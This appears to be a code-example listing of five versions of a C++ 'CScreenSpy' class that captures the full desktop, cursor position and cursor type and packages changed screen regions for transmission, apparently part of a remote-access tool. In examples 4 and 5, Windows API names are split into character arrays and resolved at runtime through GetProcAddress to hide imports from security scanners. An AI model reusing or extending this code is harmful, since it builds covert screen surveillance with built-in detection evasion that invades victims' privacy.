Example #1
0
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
	static LONG	nOldCursorPosY = 0;
	if (lpdwBytes == NULL || m_rectBuffer == NULL)
		return NULL;

	SelectInputWinStation();

	// 重置rect缓冲区指针
	m_rectBufferOffset = 0;

	// 写入使用了哪种算法
	WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));

	// 写入光标位置
	POINT	CursorPos;
	GetCursorPos(&CursorPos);
	WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
	
	// 写入当前光标类型
	BYTE	bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
	WriteRectBuffer(&bCursorIndex, sizeof(BYTE));

	// 差异比较算法
	if (m_bAlgorithm == ALGORITHM_DIFF)
	{
		// 分段扫描全屏幕
		ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
		*lpdwBytes = m_rectBufferOffset + 
			Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
		return m_rectBuffer;
	}

	// 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描
	// 向上提
	int	nHotspot = max(0, CursorPos.y - DEF_STEP);
	for (
		int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine; 
		i < m_nFullHeight; 
		i += DEF_STEP
		)
	{
		if (ScanChangedRect(i))
		{
			i += DEF_STEP;
		}
	}
	nOldCursorPosY = CursorPos.y;

	m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
	*lpdwBytes = m_rectBufferOffset;

	// 限制发送帧的速度
	while (GetTickCount() - m_dwLastCapture < m_dwSleep)
		Sleep(10);
	InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());

	return m_rectBuffer;
}
Example #2
0
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
	switch (biBitCount)
	{
	case 1:
	case 4:
	case 8:
	case 16:
	case 32:
		m_biBitCount = biBitCount;
		break;
	default:
		m_biBitCount = 8;
	}
	
	if (!SelectInputWinStation())
	{
		m_hDeskTopWnd = GetDesktopWindow();
		m_hFullDC = GetDC(m_hDeskTopWnd);
	}
	
	m_dwLastCapture	= GetTickCount();
	m_nMaxFrameRate	= nMaxFrameRate;
	m_dwSleep		= 1000 / nMaxFrameRate;
	m_bIsGray		= bIsGray;
    m_nFullWidth	= ::GetSystemMetrics(SM_CXSCREEN);
    m_nFullHeight	= ::GetSystemMetrics(SM_CYSCREEN);
    m_nIncSize		= 32 / m_biBitCount;

	m_nStartLine	= 0;

	m_hFullMemDC	= ::CreateCompatibleDC(m_hFullDC);		
	m_hLineMemDC	= ::CreateCompatibleDC(NULL);
	m_hRectMemDC	= ::CreateCompatibleDC(NULL);
	m_lpvLineBits	= NULL;
	m_lpvFullBits	= NULL;

	m_lpbmi_line	= ConstructBI(m_biBitCount, m_nFullWidth, 1);
	m_lpbmi_full	= ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
	m_lpbmi_rect	= ConstructBI(m_biBitCount, m_nFullWidth, 1);

	m_hLineBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
	m_hFullBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);

	::SelectObject(m_hFullMemDC, m_hFullBitmap);
	::SelectObject(m_hLineMemDC, m_hLineBitmap);

	::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);

	// 足够了
	m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];

	m_rectBufferOffset = 0;
}
Example #3
0
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
	if (lpdwBytes == NULL || m_rectBuffer == NULL)
		return NULL;

	SelectInputWinStation();

	m_rectBufferOffset = 0;

	// 写入光标位置
	POINT	CursorPos;
	GetCursorPos(&CursorPos);
	memcpy(m_rectBuffer + m_rectBufferOffset, (LPBYTE)&CursorPos, sizeof(POINT));
	// rectBuffer 偏移增量
	m_rectBufferOffset += sizeof(POINT);

    LPDWORD p1, p2;
    int j;
	for (int i = m_nStartLine; i < m_nFullHeight; i += DEF_STEP)
    {
		::BitBlt(m_hLineMemDC, 0, 0, m_nFullWidth, 1, m_hFullDC, 0, i, SRCCOPY);
		// 0 是最后一行
		p1 = (PDWORD)((DWORD)m_lpvFullBits + ((m_nFullHeight - 1 - i) * m_nFullWidth * m_biBitCount / 8));
        p2 = (PDWORD)m_lpvLineBits;
        ::SetRect(&m_changeRect, -1, i - DEF_STEP, -1, i + DEF_STEP * 2);
        j = 0;
        while (j < m_nFullWidth)
        {
            if (*p1 != *p2)
            {
                if (m_changeRect.right < 0)
                    m_changeRect.left = j - OFF_SET;
                m_changeRect.right = j + OFF_SET;
            }
            p1++;
            p2++;
            j += m_nIncSize;
        }

        if (m_changeRect.right > -1)
        {
            m_changeRect.left   = max(m_changeRect.left, 0);
            m_changeRect.top    = max(m_changeRect.top, 0);
            m_changeRect.right  = min(m_changeRect.right, m_nFullWidth);
            m_changeRect.bottom = min(m_changeRect.bottom, m_nFullHeight);
			// 复制改变的区域
			CopyRect(&m_changeRect);
            i += DEF_STEP;
        }
    }


    m_nStartLine = (m_nStartLine + 3) % DEF_STEP;

	*lpdwBytes = m_rectBufferOffset;

	// 限制发送帧的速度
	while (GetTickCount() - m_dwLastCapture < m_dwSleep)
		Sleep(1);
	InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());

	return m_rectBuffer;
}
Example #4
0
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
    switch (biBitCount)
    {
    case 1:
    case 4:
    case 8:
    case 16:
    case 32:
        m_biBitCount = biBitCount;
        break;
    default:
        m_biBitCount = 8;
    }
    char DYrEN66[] = {'G','e','t','D','C','\0'};
    GetDCT pGetDC=(GetDCT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN66);
    char DYrEN67[] = {'G','e','t','D','e','s','k','t','o','p','W','i','n','d','o','w','\0'};
    GetDesktopWindowT pGetDesktopWindow=(GetDesktopWindowT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN67);
    if (!SelectInputWinStation())
    {
        m_hDeskTopWnd = pGetDesktopWindow();
        m_hFullDC = pGetDC(m_hDeskTopWnd);
    }

    m_dwBitBltRop	= SRCCOPY;

    char DYrEN68[] = {'G','e','t','S','y','s','t','e','m','M','e','t','r','i','c','s','\0'};
    GetSystemMetricsT pGetSystemMetrics=(GetSystemMetricsT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN68);
    char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
    GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
    m_bAlgorithm	= ALGORITHM_SCAN; // 默认使用隔行扫描算法
    m_dwLastCapture	= pGetTickCount();
    m_nMaxFrameRate	= nMaxFrameRate;
    m_dwSleep		= 1000 / nMaxFrameRate;
    m_bIsGray		= bIsGray;
//    m_nFullWidth	= ::GetSystemMetrics(SM_CXSCREEN);
//    m_nFullHeight	= ::GetSystemMetrics(SM_CYSCREEN);
    m_nFullWidth	= pGetSystemMetrics(SM_CXSCREEN);
    m_nFullHeight	= pGetSystemMetrics(SM_CYSCREEN);

    m_nIncSize		= 32 / m_biBitCount;

    m_nStartLine	= 0;

    char DYrEN75[] = {'C','r','e','a','t','e','C','o','m','p','a','t','i','b','l','e','D','C','\0'};
    CreateCompatibleDCT pCreateCompatibleDC=(CreateCompatibleDCT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN75);
//	m_hFullMemDC	= ::CreateCompatibleDC(m_hFullDC);
//	m_hDiffMemDC	= ::CreateCompatibleDC(m_hFullDC);
//	m_hLineMemDC	= ::CreateCompatibleDC(NULL);
//	m_hRectMemDC	= ::CreateCompatibleDC(NULL);
    m_hFullMemDC	= pCreateCompatibleDC(m_hFullDC);
    m_hDiffMemDC	= pCreateCompatibleDC(m_hFullDC);
    m_hLineMemDC	= pCreateCompatibleDC(NULL);
    m_hRectMemDC	= pCreateCompatibleDC(NULL);
    m_lpvLineBits	= NULL;
    m_lpvFullBits	= NULL;

    m_lpbmi_line	= ConstructBI(m_biBitCount, m_nFullWidth, 1);
    m_lpbmi_full	= ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
    m_lpbmi_rect	= ConstructBI(m_biBitCount, m_nFullWidth, 1);

    char DYrEN72[] = {'C','r','e','a','t','e','D','I','B','S','e','c','t','i','o','n','\0'};
    CreateDIBSectionT pCreateDIBSection=(CreateDIBSectionT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN72);
//	m_hLineBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
//	m_hFullBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
//	m_hDiffBitmap	= ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
    m_hLineBitmap	= pCreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
    m_hFullBitmap	= pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
    m_hDiffBitmap	= pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);

    char DYrEN80[] = {'S','e','l','e','c','t','O','b','j','e','c','t','\0'};
    SelectObjectT pSelectObject=(SelectObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN80);
//	::SelectObject(m_hFullMemDC, m_hFullBitmap);
//	::SelectObject(m_hLineMemDC, m_hLineBitmap);
//	::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
    pSelectObject(m_hFullMemDC, m_hFullBitmap);
    pSelectObject(m_hLineMemDC, m_hLineBitmap);
    pSelectObject(m_hDiffMemDC, m_hDiffBitmap);

    char DmDjm02[] = {'S','e','t','R','e','c','t','\0'};
    SetRectT pSetRect=(SetRectT)GetProcAddress(LoadLibrary("USER32.dll"),DmDjm02);
//	::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
    pSetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);

    // 足够了
    m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
    m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;

    m_rectBufferOffset = 0;
}
Example #5
0
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
    static LONG	nOldCursorPosY = 0;
    if (lpdwBytes == NULL || m_rectBuffer == NULL)
        return NULL;

    SelectInputWinStation();

    // 重置rect缓冲区指针
    m_rectBufferOffset = 0;

    // 写入使用了哪种算法
    WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));

    // 写入光标位置
    POINT	CursorPos;
    char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'};
    GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58);
    pGetCursorPos(&CursorPos);
    WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));

    // 写入当前光标类型
    BYTE	bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
    WriteRectBuffer(&bCursorIndex, sizeof(BYTE));

    // 差异比较算法
    if (m_bAlgorithm == ALGORITHM_DIFF)
    {
        // 分段扫描全屏幕
        ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
        *lpdwBytes = m_rectBufferOffset +
                     Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
        return m_rectBuffer;
    }

    // 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描
    // 向上提
    int	nHotspot = max(0, CursorPos.y - DEF_STEP);
    for (
        int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
        i < m_nFullHeight;
        i += DEF_STEP
    )
    {
        if (ScanChangedRect(i))
        {
            i += DEF_STEP;
        }
    }
    nOldCursorPosY = CursorPos.y;

    m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
    *lpdwBytes = m_rectBufferOffset;

    char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
    GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
    // 限制发送帧的速度
    char FBwWp25[] = {'S','l','e','e','p','\0'};
    SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
    while (pGetTickCount() - m_dwLastCapture < m_dwSleep)
        pSleep(1);
    char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'};
    InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21);
    pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount());

    return m_rectBuffer;
}